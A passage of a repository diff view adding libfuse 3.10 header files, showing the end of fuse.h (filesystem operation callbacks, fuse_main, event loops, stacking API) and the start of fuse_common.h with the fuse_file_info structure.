     585 + * value provided to fuse_main() / fuse_new().
     586 + */
     587 + void *(*init) (struct fuse_conn_info *conn,
     588 + struct fuse_config *cfg);
     589 + 
     590 + /**
     591 + * Clean up filesystem
     592 + *
     593 + * Called on filesystem exit.
     594 + */
     595 + void (*destroy) (void *private_data);
     596 + 
     597 + /**
     598 + * Check file access permissions
     599 + *
     600 + * This will be called for the access() system call. If the
     601 + * 'default_permissions' mount option is given, this method is not
     602 + * called.
     603 + *
     604 + * This method is not called under Linux kernel versions 2.4.x
     605 + */
     606 + int (*access) (const char *, int);
     607 + 
     608 + /**
     609 + * Create and open a file
     610 + *
     611 + * If the file does not exist, first create it with the specified
     612 + * mode, and then open it.
     613 + *
     614 + * If this method is not implemented or under Linux kernel
     615 + * versions earlier than 2.6.15, the mknod() and open() methods
     616 + * will be called instead.
     617 + */
     618 + int (*create) (const char *, mode_t, struct fuse_file_info *);
     619 + 
     620 + /**
     621 + * Perform POSIX file locking operation
     622 + *
     623 + * The cmd argument will be either F_GETLK, F_SETLK or F_SETLKW.
     624 + *
     625 + * For the meaning of fields in 'struct flock' see the man page
     626 + * for fcntl(2). The l_whence field will always be set to
     627 + * SEEK_SET.
     628 + *
     629 + * For checking lock ownership, the 'fuse_file_info->owner'
     630 + * argument must be used.
     631 + *
     632 + * For F_GETLK operation, the library will first check currently
     633 + * held locks, and if a conflicting lock is found it will return
     634 + * information without calling this method. This ensures, that
     635 + * for local locks the l_pid field is correctly filled in. The
     636 + * results may not be accurate in case of race conditions and in
     637 + * the presence of hard links, but it's unlikely that an
     638 + * application would rely on accurate GETLK results in these
     639 + * cases. If a conflicting lock is not found, this method will be
     640 + * called, and the filesystem may fill out l_pid by a meaningful
     641 + * value, or it may leave this field zero.
     642 + *
     643 + * For F_SETLK and F_SETLKW the l_pid field will be set to the pid
     644 + * of the process performing the locking operation.
     645 + *
     646 + * Note: if this method is not implemented, the kernel will still
     647 + * allow file locking to work locally. Hence it is only
     648 + * interesting for network filesystems and similar.
     649 + */
     650 + int (*lock) (const char *, struct fuse_file_info *, int cmd,
     651 + struct flock *);
     652 + 
     653 + /**
     654 + * Change the access and modification times of a file with
     655 + * nanosecond resolution
     656 + *
     657 + * This supersedes the old utime() interface. New applications
     658 + * should use this.
     659 + *
     660 + * `fi` will always be NULL if the file is not currently open, but
     661 + * may also be NULL if the file is open.
     662 + *
     663 + * See the utimensat(2) man page for details.
     664 + */
     665 + int (*utimens) (const char *, const struct timespec tv[2],
     666 + struct fuse_file_info *fi);
     667 + 
     668 + /**
     669 + * Map block index within file to block index within device
     670 + *
     671 + * Note: This makes sense only for block device backed filesystems
     672 + * mounted with the 'blkdev' option
     673 + */
     674 + int (*bmap) (const char *, size_t blocksize, uint64_t *idx);
     675 + 
     676 +#if FUSE_USE_VERSION < 35
     677 + int (*ioctl) (const char *, int cmd, void *arg,
     678 + struct fuse_file_info *, unsigned int flags, void *data);
     679 +#else
     680 + /**
     681 + * Ioctl
     682 + *
     683 + * flags will have FUSE_IOCTL_COMPAT set for 32bit ioctls in
     684 + * 64bit environment. The size and direction of data is
     685 + * determined by _IOC_*() decoding of cmd. For _IOC_NONE,
     686 + * data will be NULL, for _IOC_WRITE data is out area, for
     687 + * _IOC_READ in area and if both are set in/out area. In all
     688 + * non-NULL cases, the area is of _IOC_SIZE(cmd) bytes.
     689 + *
     690 + * If flags has FUSE_IOCTL_DIR then the fuse_file_info refers to a
     691 + * directory file handle.
     692 + *
     693 + * Note : the unsigned long request submitted by the application
     694 + * is truncated to 32 bits.
     695 + */
     696 + int (*ioctl) (const char *, unsigned int cmd, void *arg,
     697 + struct fuse_file_info *, unsigned int flags, void *data);
     698 +#endif
     699 + 
     700 + /**
     701 + * Poll for IO readiness events
     702 + *
     703 + * Note: If ph is non-NULL, the client should notify
     704 + * when IO readiness events occur by calling
     705 + * fuse_notify_poll() with the specified ph.
     706 + *
     707 + * Regardless of the number of times poll with a non-NULL ph
     708 + * is received, single notification is enough to clear all.
     709 + * Notifying more times incurs overhead but doesn't harm
     710 + * correctness.
     711 + *
     712 + * The callee is responsible for destroying ph with
     713 + * fuse_pollhandle_destroy() when no longer in use.
     714 + */
     715 + int (*poll) (const char *, struct fuse_file_info *,
     716 + struct fuse_pollhandle *ph, unsigned *reventsp);
     717 + 
     718 + /** Write contents of buffer to an open file
     719 + *
     720 + * Similar to the write() method, but data is supplied in a
     721 + * generic buffer. Use fuse_buf_copy() to transfer data to
     722 + * the destination.
     723 + *
     724 + * Unless FUSE_CAP_HANDLE_KILLPRIV is disabled, this method is
     725 + * expected to reset the setuid and setgid bits.
     726 + */
     727 + int (*write_buf) (const char *, struct fuse_bufvec *buf, off_t off,
     728 + struct fuse_file_info *);
     729 + 
     730 + /** Store data from an open file in a buffer
     731 + *
     732 + * Similar to the read() method, but data is stored and
     733 + * returned in a generic buffer.
     734 + *
     735 + * No actual copying of data has to take place, the source
     736 + * file descriptor may simply be stored in the buffer for
     737 + * later data transfer.
     738 + *
     739 + * The buffer must be allocated dynamically and stored at the
     740 + * location pointed to by bufp. If the buffer contains memory
     741 + * regions, they too must be allocated using malloc(). The
     742 + * allocated memory will be freed by the caller.
     743 + */
     744 + int (*read_buf) (const char *, struct fuse_bufvec **bufp,
     745 + size_t size, off_t off, struct fuse_file_info *);
     746 + /**
     747 + * Perform BSD file locking operation
     748 + *
     749 + * The op argument will be either LOCK_SH, LOCK_EX or LOCK_UN
     750 + *
     751 + * Nonblocking requests will be indicated by ORing LOCK_NB to
     752 + * the above operations
     753 + *
     754 + * For more information see the flock(2) manual page.
     755 + *
     756 + * Additionally fi->owner will be set to a value unique to
     757 + * this open file. This same value will be supplied to
     758 + * ->release() when the file is released.
     759 + *
     760 + * Note: if this method is not implemented, the kernel will still
     761 + * allow file locking to work locally. Hence it is only
     762 + * interesting for network filesystems and similar.
     763 + */
     764 + int (*flock) (const char *, struct fuse_file_info *, int op);
     765 + 
     766 + /**
     767 + * Allocates space for an open file
     768 + *
     769 + * This function ensures that required space is allocated for specified
     770 + * file. If this function returns success then any subsequent write
     771 + * request to specified range is guaranteed not to fail because of lack
     772 + * of space on the file system media.
     773 + */
     774 + int (*fallocate) (const char *, int, off_t, off_t,
     775 + struct fuse_file_info *);
     776 + 
     777 + /**
     778 + * Copy a range of data from one file to another
     779 + *
     780 + * Performs an optimized copy between two file descriptors without the
     781 + * additional cost of transferring data through the FUSE kernel module
     782 + * to user space (glibc) and then back into the FUSE filesystem again.
     783 + *
     784 + * In case this method is not implemented, applications are expected to
     785 + * fall back to a regular file copy. (Some glibc versions did this
     786 + * emulation automatically, but the emulation has been removed from all
     787 + * glibc release branches.)
     788 + */
     789 + ssize_t (*copy_file_range) (const char *path_in,
     790 + struct fuse_file_info *fi_in,
     791 + off_t offset_in, const char *path_out,
     792 + struct fuse_file_info *fi_out,
     793 + off_t offset_out, size_t size, int flags);
     794 + 
     795 + /**
     796 + * Find next data or hole after the specified offset
     797 + */
     798 + off_t (*lseek) (const char *, off_t off, int whence, struct fuse_file_info *);
     799 +};
     800 + 
     801 +/** Extra context that may be needed by some filesystems
     802 + *
     803 + * The uid, gid and pid fields are not filled in case of a writepage
     804 + * operation.
     805 + */
     806 +struct fuse_context {
     807 + /** Pointer to the fuse object */
     808 + struct fuse *fuse;
     809 + 
     810 + /** User ID of the calling process */
     811 + uid_t uid;
     812 + 
     813 + /** Group ID of the calling process */
     814 + gid_t gid;
     815 + 
     816 + /** Process ID of the calling thread */
     817 + pid_t pid;
     818 + 
     819 + /** Private filesystem data */
     820 + void *private_data;
     821 + 
     822 + /** Umask of the calling process */
     823 + mode_t umask;
     824 +};
     825 + 
     826 +/**
     827 + * Main function of FUSE.
     828 + *
     829 + * This is for the lazy. This is all that has to be called from the
     830 + * main() function.
     831 + *
     832 + * This function does the following:
     833 + * - parses command line options, and handles --help and
     834 + * --version
     835 + * - installs signal handlers for INT, HUP, TERM and PIPE
     836 + * - registers an exit handler to unmount the filesystem on program exit
     837 + * - creates a fuse handle
     838 + * - registers the operations
     839 + * - calls either the single-threaded or the multi-threaded event loop
     840 + *
     841 + * Most file systems will have to parse some file-system specific
     842 + * arguments before calling this function. It is recommended to do
     843 + * this with fuse_opt_parse() and a processing function that passes
     844 + * through any unknown options (this can also be achieved by just
     845 + * passing NULL as the processing function). That way, the remaining
     846 + * options can be passed directly to fuse_main().
     847 + *
     848 + * fuse_main() accepts all options that can be passed to
     849 + * fuse_parse_cmdline(), fuse_new(), or fuse_session_new().
     850 + *
     851 + * Option parsing skips argv[0], which is assumed to contain the
     852 + * program name. This element must always be present and is used to
     853 + * construct a basic ``usage: `` message for the --help
     854 + * output. argv[0] may also be set to the empty string. In this case
     855 + * the usage message is suppressed. This can be used by file systems
     856 + * to print their own usage line first. See hello.c for an example of
     857 + * how to do this.
     858 + *
     859 + * Note: this is currently implemented as a macro.
     860 + *
     861 + * The following error codes may be returned from fuse_main():
     862 + * 1: Invalid option arguments
     863 + * 2: No mount point specified
     864 + * 3: FUSE setup failed
     865 + * 4: Mounting failed
     866 + * 5: Failed to daemonize (detach from session)
     867 + * 6: Failed to set up signal handlers
     868 + * 7: An error occurred during the life of the file system
     869 + *
     870 + * @param argc the argument counter passed to the main() function
     871 + * @param argv the argument vector passed to the main() function
     872 + * @param op the file system operation
     873 + * @param private_data Initial value for the `private_data`
     874 + * field of `struct fuse_context`. May be overridden by the
     875 + * `struct fuse_operations.init` handler.
     876 + * @return 0 on success, nonzero on failure
     877 + *
     878 + * Example usage, see hello.c
     879 + */
     880 +/*
     881 + int fuse_main(int argc, char *argv[], const struct fuse_operations *op,
     882 + void *private_data);
     883 +*/
     884 +#define fuse_main(argc, argv, op, private_data) \
     885 + fuse_main_real(argc, argv, op, sizeof(*(op)), private_data)
     886 + 
     887 +/* ----------------------------------------------------------- *
     888 + * More detailed API *
     889 + * ----------------------------------------------------------- */
     890 + 
     891 +/**
     892 + * Print available options (high- and low-level) to stdout. This is
     893 + * not an exhaustive list, but includes only those options that may be
     894 + * of interest to an end-user of a file system.
     895 + *
     896 + * The function looks at the argument vector only to determine if
     897 + * there are additional modules to be loaded (module=foo option),
     898 + * and attempts to call their help functions as well.
     899 + *
     900 + * @param args the argument vector.
     901 + */
     902 +void fuse_lib_help(struct fuse_args *args);
     903 + 
     904 +/**
     905 + * Create a new FUSE filesystem.
     906 + *
     907 + * This function accepts most file-system independent mount options
     908 + * (like context, nodev, ro - see mount(8)), as well as the
     909 + * FUSE-specific mount options from mount.fuse(8).
     910 + *
     911 + * If the --help option is specified, the function writes a help text
     912 + * to stdout and returns NULL.
     913 + *
     914 + * Option parsing skips argv[0], which is assumed to contain the
     915 + * program name. This element must always be present and is used to
     916 + * construct a basic ``usage: `` message for the --help output. If
     917 + * argv[0] is set to the empty string, no usage message is included in
     918 + * the --help output.
     919 + *
     920 + * If an unknown option is passed in, an error message is written to
     921 + * stderr and the function returns NULL.
     922 + *
     923 + * @param args argument vector
     924 + * @param op the filesystem operations
     925 + * @param op_size the size of the fuse_operations structure
     926 + * @param private_data Initial value for the `private_data`
     927 + * field of `struct fuse_context`. May be overridden by the
     928 + * `struct fuse_operations.init` handler.
     929 + * @return the created FUSE handle
     930 + */
     931 +#if FUSE_USE_VERSION == 30
     932 +struct fuse *fuse_new_30(struct fuse_args *args, const struct fuse_operations *op,
     933 + size_t op_size, void *private_data);
     934 +#define fuse_new(args, op, size, data) fuse_new_30(args, op, size, data)
     935 +#else
     936 +struct fuse *fuse_new(struct fuse_args *args, const struct fuse_operations *op,
     937 + size_t op_size, void *private_data);
     938 +#endif
     939 + 
     940 +/**
     941 + * Mount a FUSE file system.
     942 + *
     943 + * @param mountpoint the mount point path
     944 + * @param f the FUSE handle
     945 + *
     946 + * @return 0 on success, -1 on failure.
     947 + **/
     948 +int fuse_mount(struct fuse *f, const char *mountpoint);
     949 + 
     950 +/**
     951 + * Unmount a FUSE file system.
     952 + *
     953 + * See fuse_session_unmount() for additional information.
     954 + *
     955 + * @param f the FUSE handle
     956 + **/
     957 +void fuse_unmount(struct fuse *f);
     958 + 
     959 +/**
     960 + * Destroy the FUSE handle.
     961 + *
     962 + * NOTE: This function does not unmount the filesystem. If this is
     963 + * needed, call fuse_unmount() before calling this function.
     964 + *
     965 + * @param f the FUSE handle
     966 + */
     967 +void fuse_destroy(struct fuse *f);
     968 + 
     969 +/**
     970 + * FUSE event loop.
     971 + *
     972 + * Requests from the kernel are processed, and the appropriate
     973 + * operations are called.
     974 + *
     975 + * For a description of the return value and the conditions when the
     976 + * event loop exits, refer to the documentation of
     977 + * fuse_session_loop().
     978 + *
     979 + * @param f the FUSE handle
     980 + * @return see fuse_session_loop()
     981 + *
     982 + * See also: fuse_loop_mt()
     983 + */
     984 +int fuse_loop(struct fuse *f);
     985 + 
     986 +/**
     987 + * Flag session as terminated
     988 + *
     989 + * This function will cause any running event loops to exit on
     990 + * the next opportunity.
     991 + *
     992 + * @param f the FUSE handle
     993 + */
     994 +void fuse_exit(struct fuse *f);
     995 + 
     996 +#if FUSE_USE_VERSION < 32
     997 +int fuse_loop_mt_31(struct fuse *f, int clone_fd);
     998 +#define fuse_loop_mt(f, clone_fd) fuse_loop_mt_31(f, clone_fd)
     999 +#else
     1000 +/**
     1001 + * FUSE event loop with multiple threads
     1002 + *
     1003 + * Requests from the kernel are processed, and the appropriate
     1004 + * operations are called. Request are processed in parallel by
     1005 + * distributing them between multiple threads.
     1006 + *
     1007 + * For a description of the return value and the conditions when the
     1008 + * event loop exits, refer to the documentation of
     1009 + * fuse_session_loop().
     1010 + *
     1011 + * Note: using fuse_loop() instead of fuse_loop_mt() means you are running in
     1012 + * single-threaded mode, and that you will not have to worry about reentrancy,
     1013 + * though you will have to worry about recursive lookups. In single-threaded
     1014 + * mode, FUSE will wait for one callback to return before calling another.
     1015 + *
     1016 + * Enabling multiple threads, by using fuse_loop_mt(), will cause FUSE to make
     1017 + * multiple simultaneous calls into the various callback functions given by your
     1018 + * fuse_operations record.
     1019 + *
     1020 + * If you are using multiple threads, you can enjoy all the parallel execution
     1021 + * and interactive response benefits of threads, and you get to enjoy all the
     1022 + * benefits of race conditions and locking bugs, too. Ensure that any code used
     1023 + * in the callback function of fuse_operations is also thread-safe.
     1024 + *
     1025 + * @param f the FUSE handle
     1026 + * @param config loop configuration
     1027 + * @return see fuse_session_loop()
     1028 + *
     1029 + * See also: fuse_loop()
     1030 + */
     1031 +int fuse_loop_mt(struct fuse *f, struct fuse_loop_config *config);
     1032 +#endif
     1033 + 
     1034 +/**
     1035 + * Get the current context
     1036 + *
     1037 + * The context is only valid for the duration of a filesystem
     1038 + * operation, and thus must not be stored and used later.
     1039 + *
     1040 + * @return the context
     1041 + */
     1042 +struct fuse_context *fuse_get_context(void);
     1043 + 
     1044 +/**
     1045 + * Get the current supplementary group IDs for the current request
     1046 + *
     1047 + * Similar to the getgroups(2) system call, except the return value is
     1048 + * always the total number of group IDs, even if it is larger than the
     1049 + * specified size.
     1050 + *
     1051 + * The current fuse kernel module in linux (as of 2.6.30) doesn't pass
     1052 + * the group list to userspace, hence this function needs to parse
     1053 + * "/proc/$TID/task/$TID/status" to get the group IDs.
     1054 + *
     1055 + * This feature may not be supported on all operating systems. In
     1056 + * such a case this function will return -ENOSYS.
     1057 + *
     1058 + * @param size size of given array
     1059 + * @param list array of group IDs to be filled in
     1060 + * @return the total number of supplementary group IDs or -errno on failure
     1061 + */
     1062 +int fuse_getgroups(int size, gid_t list[]);
     1063 + 
     1064 +/**
     1065 + * Check if the current request has already been interrupted
     1066 + *
     1067 + * @return 1 if the request has been interrupted, 0 otherwise
     1068 + */
     1069 +int fuse_interrupted(void);
     1070 + 
     1071 +/**
     1072 + * Invalidates cache for the given path.
     1073 + *
     1074 + * This calls fuse_lowlevel_notify_inval_inode internally.
     1075 + *
     1076 + * @return 0 on successful invalidation, negative error value otherwise.
     1077 + * This routine may return -ENOENT to indicate that there was
     1078 + * no entry to be invalidated, e.g., because the path has not
     1079 + * been seen before or has been forgotten; this should not be
     1080 + * considered to be an error.
     1081 + */
     1082 +int fuse_invalidate_path(struct fuse *f, const char *path);
     1083 + 
     1084 +/**
     1085 + * The real main function
     1086 + *
     1087 + * Do not call this directly, use fuse_main()
     1088 + */
     1089 +int fuse_main_real(int argc, char *argv[], const struct fuse_operations *op,
     1090 + size_t op_size, void *private_data);
     1091 + 
     1092 +/**
     1093 + * Start the cleanup thread when using option "remember".
     1094 + *
     1095 + * This is done automatically by fuse_loop_mt()
     1096 + * @param fuse struct fuse pointer for fuse instance
     1097 + * @return 0 on success and -1 on error
     1098 + */
     1099 +int fuse_start_cleanup_thread(struct fuse *fuse);
     1100 + 
     1101 +/**
     1102 + * Stop the cleanup thread when using option "remember".
     1103 + *
     1104 + * This is done automatically by fuse_loop_mt()
     1105 + * @param fuse struct fuse pointer for fuse instance
     1106 + */
     1107 +void fuse_stop_cleanup_thread(struct fuse *fuse);
     1108 + 
     1109 +/**
     1110 + * Iterate over cache removing stale entries
     1111 + * use in conjunction with "-oremember"
     1112 + *
     1113 + * NOTE: This is already done for the standard sessions
     1114 + *
     1115 + * @param fuse struct fuse pointer for fuse instance
     1116 + * @return the number of seconds until the next cleanup
     1117 + */
     1118 +int fuse_clean_cache(struct fuse *fuse);
     1119 + 
     1120 +/*
     1121 + * Stacking API
     1122 + */
     1123 + 
     1124 +/**
     1125 + * Fuse filesystem object
     1126 + *
     1127 + * This is opaque object represents a filesystem layer
     1128 + */
     1129 +struct fuse_fs;
     1130 + 
     1131 +/*
     1132 + * These functions call the relevant filesystem operation, and return
     1133 + * the result.
     1134 + *
     1135 + * If the operation is not defined, they return -ENOSYS, with the
     1136 + * exception of fuse_fs_open, fuse_fs_release, fuse_fs_opendir,
     1137 + * fuse_fs_releasedir and fuse_fs_statfs, which return 0.
     1138 + */
     1139 + 
     1140 +int fuse_fs_getattr(struct fuse_fs *fs, const char *path, struct stat *buf,
     1141 + struct fuse_file_info *fi);
     1142 +int fuse_fs_rename(struct fuse_fs *fs, const char *oldpath,
     1143 + const char *newpath, unsigned int flags);
     1144 +int fuse_fs_unlink(struct fuse_fs *fs, const char *path);
     1145 +int fuse_fs_rmdir(struct fuse_fs *fs, const char *path);
     1146 +int fuse_fs_symlink(struct fuse_fs *fs, const char *linkname,
     1147 + const char *path);
     1148 +int fuse_fs_link(struct fuse_fs *fs, const char *oldpath, const char *newpath);
     1149 +int fuse_fs_release(struct fuse_fs *fs, const char *path,
     1150 + struct fuse_file_info *fi);
     1151 +int fuse_fs_open(struct fuse_fs *fs, const char *path,
     1152 + struct fuse_file_info *fi);
     1153 +int fuse_fs_read(struct fuse_fs *fs, const char *path, char *buf, size_t size,
     1154 + off_t off, struct fuse_file_info *fi);
     1155 +int fuse_fs_read_buf(struct fuse_fs *fs, const char *path,
     1156 + struct fuse_bufvec **bufp, size_t size, off_t off,
     1157 + struct fuse_file_info *fi);
     1158 +int fuse_fs_write(struct fuse_fs *fs, const char *path, const char *buf,
     1159 + size_t size, off_t off, struct fuse_file_info *fi);
     1160 +int fuse_fs_write_buf(struct fuse_fs *fs, const char *path,
     1161 + struct fuse_bufvec *buf, off_t off,
     1162 + struct fuse_file_info *fi);
     1163 +int fuse_fs_fsync(struct fuse_fs *fs, const char *path, int datasync,
     1164 + struct fuse_file_info *fi);
     1165 +int fuse_fs_flush(struct fuse_fs *fs, const char *path,
     1166 + struct fuse_file_info *fi);
     1167 +int fuse_fs_statfs(struct fuse_fs *fs, const char *path, struct statvfs *buf);
     1168 +int fuse_fs_opendir(struct fuse_fs *fs, const char *path,
     1169 + struct fuse_file_info *fi);
     1170 +int fuse_fs_readdir(struct fuse_fs *fs, const char *path, void *buf,
     1171 + fuse_fill_dir_t filler, off_t off,
     1172 + struct fuse_file_info *fi, enum fuse_readdir_flags flags);
     1173 +int fuse_fs_fsyncdir(struct fuse_fs *fs, const char *path, int datasync,
     1174 + struct fuse_file_info *fi);
     1175 +int fuse_fs_releasedir(struct fuse_fs *fs, const char *path,
     1176 + struct fuse_file_info *fi);
     1177 +int fuse_fs_create(struct fuse_fs *fs, const char *path, mode_t mode,
     1178 + struct fuse_file_info *fi);
     1179 +int fuse_fs_lock(struct fuse_fs *fs, const char *path,
     1180 + struct fuse_file_info *fi, int cmd, struct flock *lock);
     1181 +int fuse_fs_flock(struct fuse_fs *fs, const char *path,
     1182 + struct fuse_file_info *fi, int op);
     1183 +int fuse_fs_chmod(struct fuse_fs *fs, const char *path, mode_t mode,
     1184 + struct fuse_file_info *fi);
     1185 +int fuse_fs_chown(struct fuse_fs *fs, const char *path, uid_t uid, gid_t gid,
     1186 + struct fuse_file_info *fi);
     1187 +int fuse_fs_truncate(struct fuse_fs *fs, const char *path, off_t size,
     1188 + struct fuse_file_info *fi);
     1189 +int fuse_fs_utimens(struct fuse_fs *fs, const char *path,
     1190 + const struct timespec tv[2], struct fuse_file_info *fi);
     1191 +int fuse_fs_access(struct fuse_fs *fs, const char *path, int mask);
     1192 +int fuse_fs_readlink(struct fuse_fs *fs, const char *path, char *buf,
     1193 + size_t len);
     1194 +int fuse_fs_mknod(struct fuse_fs *fs, const char *path, mode_t mode,
     1195 + dev_t rdev);
     1196 +int fuse_fs_mkdir(struct fuse_fs *fs, const char *path, mode_t mode);
     1197 +int fuse_fs_setxattr(struct fuse_fs *fs, const char *path, const char *name,
     1198 + const char *value, size_t size, int flags);
     1199 +int fuse_fs_getxattr(struct fuse_fs *fs, const char *path, const char *name,
     1200 + char *value, size_t size);
     1201 +int fuse_fs_listxattr(struct fuse_fs *fs, const char *path, char *list,
     1202 + size_t size);
     1203 +int fuse_fs_removexattr(struct fuse_fs *fs, const char *path,
     1204 + const char *name);
     1205 +int fuse_fs_bmap(struct fuse_fs *fs, const char *path, size_t blocksize,
     1206 + uint64_t *idx);
     1207 +#if FUSE_USE_VERSION < 35
     1208 +int fuse_fs_ioctl(struct fuse_fs *fs, const char *path, int cmd,
     1209 + void *arg, struct fuse_file_info *fi, unsigned int flags,
     1210 + void *data);
     1211 +#else
     1212 +int fuse_fs_ioctl(struct fuse_fs *fs, const char *path, unsigned int cmd,
     1213 + void *arg, struct fuse_file_info *fi, unsigned int flags,
     1214 + void *data);
     1215 +#endif
     1216 +int fuse_fs_poll(struct fuse_fs *fs, const char *path,
     1217 + struct fuse_file_info *fi, struct fuse_pollhandle *ph,
     1218 + unsigned *reventsp);
     1219 +int fuse_fs_fallocate(struct fuse_fs *fs, const char *path, int mode,
     1220 + off_t offset, off_t length, struct fuse_file_info *fi);
     1221 +ssize_t fuse_fs_copy_file_range(struct fuse_fs *fs, const char *path_in,
     1222 + struct fuse_file_info *fi_in, off_t off_in,
     1223 + const char *path_out,
     1224 + struct fuse_file_info *fi_out, off_t off_out,
     1225 + size_t len, int flags);
     1226 +off_t fuse_fs_lseek(struct fuse_fs *fs, const char *path, off_t off, int whence,
     1227 + struct fuse_file_info *fi);
     1228 +void fuse_fs_init(struct fuse_fs *fs, struct fuse_conn_info *conn,
     1229 + struct fuse_config *cfg);
     1230 +void fuse_fs_destroy(struct fuse_fs *fs);
     1231 + 
     1232 +int fuse_notify_poll(struct fuse_pollhandle *ph);
     1233 + 
     1234 +/**
     1235 + * Create a new fuse filesystem object
     1236 + *
     1237 + * This is usually called from the factory of a fuse module to create
     1238 + * a new instance of a filesystem.
     1239 + *
     1240 + * @param op the filesystem operations
     1241 + * @param op_size the size of the fuse_operations structure
     1242 + * @param private_data Initial value for the `private_data`
     1243 + * field of `struct fuse_context`. May be overridden by the
     1244 + * `struct fuse_operations.init` handler.
     1245 + * @return a new filesystem object
     1246 + */
     1247 +struct fuse_fs *fuse_fs_new(const struct fuse_operations *op, size_t op_size,
     1248 + void *private_data);
     1249 + 
     1250 +/**
     1251 + * Factory for creating filesystem objects
     1252 + *
     1253 + * The function may use and remove options from 'args' that belong
     1254 + * to this module.
     1255 + *
     1256 + * For now the 'fs' vector always contains exactly one filesystem.
     1257 + * This is the filesystem which will be below the newly created
     1258 + * filesystem in the stack.
     1259 + *
     1260 + * @param args the command line arguments
     1261 + * @param fs NULL terminated filesystem object vector
     1262 + * @return the new filesystem object
     1263 + */
     1264 +typedef struct fuse_fs *(*fuse_module_factory_t)(struct fuse_args *args,
     1265 + struct fuse_fs *fs[]);
     1266 +/**
     1267 + * Register filesystem module
     1268 + *
     1269 + * If the "-omodules=*name*_:..." option is present, filesystem
     1270 + * objects are created and pushed onto the stack with the *factory_*
     1271 + * function.
     1272 + *
     1273 + * @param name_ the name of this filesystem module
     1274 + * @param factory_ the factory function for this filesystem module
     1275 + */
     1276 +#define FUSE_REGISTER_MODULE(name_, factory_) \
     1277 + fuse_module_factory_t fuse_module_ ## name_ ## _factory = factory_
     1278 + 
     1279 +/** Get session from fuse object */
     1280 +struct fuse_session *fuse_get_session(struct fuse *f);
     1281 + 
     1282 +/**
     1283 + * Open a FUSE file descriptor and set up the mount for the given
     1284 + * mountpoint and flags.
     1285 + *
     1286 + * @param mountpoint reference to the mount in the file system
     1287 + * @param options mount options
     1288 + * @return the FUSE file descriptor or -1 upon error
     1289 + */
     1290 +int fuse_open_channel(const char *mountpoint, const char *options);
     1291 + 
     1292 +#ifdef __cplusplus
     1293 +}
     1294 +#endif
     1295 + 
     1296 +#endif /* FUSE_H_ */
     1297 + 
  • ■ ■ ■ ■ ■ ■
    libfuse/fuse_common.h
     1 +/* FUSE: Filesystem in Userspace
     2 + Copyright (C) 2001-2007 Miklos Szeredi <[email protected]>
     3 + 
     4 + This program can be distributed under the terms of the GNU LGPLv2.
     5 + See the file COPYING.LIB.
     6 +*/
     7 + 
     8 +/** @file */
     9 + 
     10 +#if !defined(FUSE_H_) && !defined(FUSE_LOWLEVEL_H_)
     11 +#error "Never include <fuse_common.h> directly; use <fuse.h> or <fuse_lowlevel.h> instead."
     12 +#endif
     13 + 
     14 +#ifndef FUSE_COMMON_H_
     15 +#define FUSE_COMMON_H_
     16 + 
     17 +#include "fuse_opt.h"
     18 +#include "fuse_log.h"
     19 +#include <stdint.h>
     20 +#include <sys/types.h>
     21 + 
     22 +/** Major version of FUSE library interface */
     23 +#define FUSE_MAJOR_VERSION 3
     24 + 
     25 +/** Minor version of FUSE library interface */
     26 +#define FUSE_MINOR_VERSION 10
     27 + 
     28 +#define FUSE_MAKE_VERSION(maj, min) ((maj) * 100 + (min))
     29 +#define FUSE_VERSION FUSE_MAKE_VERSION(FUSE_MAJOR_VERSION, FUSE_MINOR_VERSION)
     30 + 
     31 +#ifdef __cplusplus
     32 +extern "C" {
     33 +#endif
     34 + 
     35 +/**
     36 + * Information about an open file.
     37 + *
     38 + * File Handles are created by the open, opendir, and create methods and closed
     39 + * by the release and releasedir methods. Multiple file handles may be
     40 + * concurrently open for the same file. Generally, a client will create one
     41 + * file handle per file descriptor, though in some cases multiple file
     42 + * descriptors can share a single file handle.
     43 + */
     44 +struct fuse_file_info {
     45 + /** Open flags. Available in open() and release() */
     46 + int flags;
     47 + 
     48 + /** In case of a write operation indicates if this was caused
     49 + by a delayed write from the page cache. If so, then the
     50 + context's pid, uid, and gid fields will not be valid, and
     51 + the *fh* value may not match the *fh* value that would
     52 + have been sent with the corresponding individual write
     53 + requests if write caching had been disabled. */
     54 + unsigned int writepage : 1;
     55 + 
     56 + /** Can be filled in by open, to use direct I/O on this file. */
     57 + unsigned int direct_io : 1;
     58 + 
     59 + /** Can be filled in by open. It signals the kernel that any
     60 + currently cached file data (ie., data that the filesystem
     61 + provided the last time the file was open) need not be
     62 + invalidated. Has no effect when set in other contexts (in
     63 + particular it does nothing when set by opendir()). */
     64 + unsigned int keep_cache : 1;
     65 + 
     66 + /** Indicates a flush operation. Set in flush operation, also
     67 + maybe set in highlevel lock operation and lowlevel release
     68 + operation. */
     69 + unsigned int flush : 1;
     70 + 
     71 + /** Can be filled in by open, to indicate that the file is not
     72 + seekable. */
     73 + unsigned int nonseekable : 1;
     74 + 
     75 + /* Indicates that flock locks for this file should be
     76 + released. If set, lock_owner shall contain a valid value.
     77 + May only be set in ->release(). */
     78 + unsigned int flock_release : 1;
     79 + 
     80 + /** Can be filled in by opendir. It signals the kernel to
     81 + enable caching of entries returned by readdir(). Has no
     82 + effect when set in other contexts (in particular it does
     83 + nothing when set by open()). */
     84 + unsigned int cache_readdir : 1;
     85 + 
     86 + /** Padding. Reserved for future use*/
     87 + unsigned int padding : 25;
     88 + unsigned int padding2 : 32;
     89 + 
     90 + /** File handle id. May be filled in by filesystem in create,
     91 + * open, and opendir(). Available in most other file operations on the
     92 + * same file handle. */
     93 + uint64_t fh;
     94 + 
     95 + /** Lock owner id. Available in locking operations and flush */
     96 + uint64_t lock_owner;
     97 + 
     98 + /** Requested poll events. Available in ->poll. Only set on kernels
     99 + which support it. If unsupported, this field is set to zero. */
     100 + uint32_t poll_events;
     101 +};
     102 + 
     103 +/**
     104 + * Configuration parameters passed to fuse_session_loop_mt() and
     105 + * fuse_loop_mt().
     106 + */
     107 +struct fuse_loop_config {
     108 + /**
     109 + * whether to use separate device fds for each thread
     110 + * (may increase performance)
     111 + */
     112 + int clone_fd;
     113 + 
     114 + /**
     115 + * The maximum number of available worker threads before they
     116 + * start to get deleted when they become idle. If not
     117 + * specified, the default is 10.
     118 + *
     119 + * Adjusting this has performance implications; a very small number
     120 + * of threads in the pool will cause a lot of thread creation and
     121 + * deletion overhead and performance may suffer. When set to 0, a new
     122 + * thread will be created to service every operation.
     123 + */
     124 + unsigned int max_idle_threads;
     125 +};
     126 + 
     127 +/**************************************************************************
     128 + * Capability bits for 'fuse_conn_info.capable' and 'fuse_conn_info.want' *
     129 + **************************************************************************/
     130 + 
     131 +/**
